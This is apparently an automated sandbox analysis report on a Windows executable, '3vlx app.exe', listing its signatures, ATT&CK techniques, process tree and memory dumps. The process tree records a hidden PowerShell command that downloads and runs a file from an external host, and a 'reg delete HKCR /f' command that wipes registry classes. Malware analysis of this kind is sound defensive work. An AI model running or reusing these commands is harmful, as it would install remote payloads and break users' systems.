Analysis

  • max time kernel
    53s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 15:08

General

  • Target
    3vlx app.exe
  • Size 37KB
  • Sample261026-sh37faex5t
  • SHA256 948fedd2e40675b409511a48ea54eaa712ae9ca284ffda0c6ab4505c9a874ad2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Modifies system executable filetype association 2 TTPs 16 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\3vlx app.exe
    "C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4332
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:5780
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004F4
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2428
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3004

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4332-37-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-20-0x00000229D3500000-0x00000229D3522000-memory.dmp

          memory/4332-28-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-35-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-33-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-32-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-31-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-30-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-29-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-27-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-25-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-26-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-24-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-23-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-22-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4332-21-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-11-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-3-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-12-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-10-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-0-0x00000000007F0000-0x0000000000800000-memory.dmp

          memory/4480-9-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-2-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-8-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-7-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-6-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-5-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-4-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-34-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-13-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

          memory/4480-1-0x00007FFB3DF3F000-0x00007FFB3DF40000-memory.dmp

          memory/4480-38-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-39-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-40-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-41-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-42-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-43-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-46-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-47-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-48-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-49-0x000000001BB50000-0x000000001BD1A000-memory.dmp

          memory/4480-50-0x000000001BB50000-0x000000001BD1A000-memory.dmp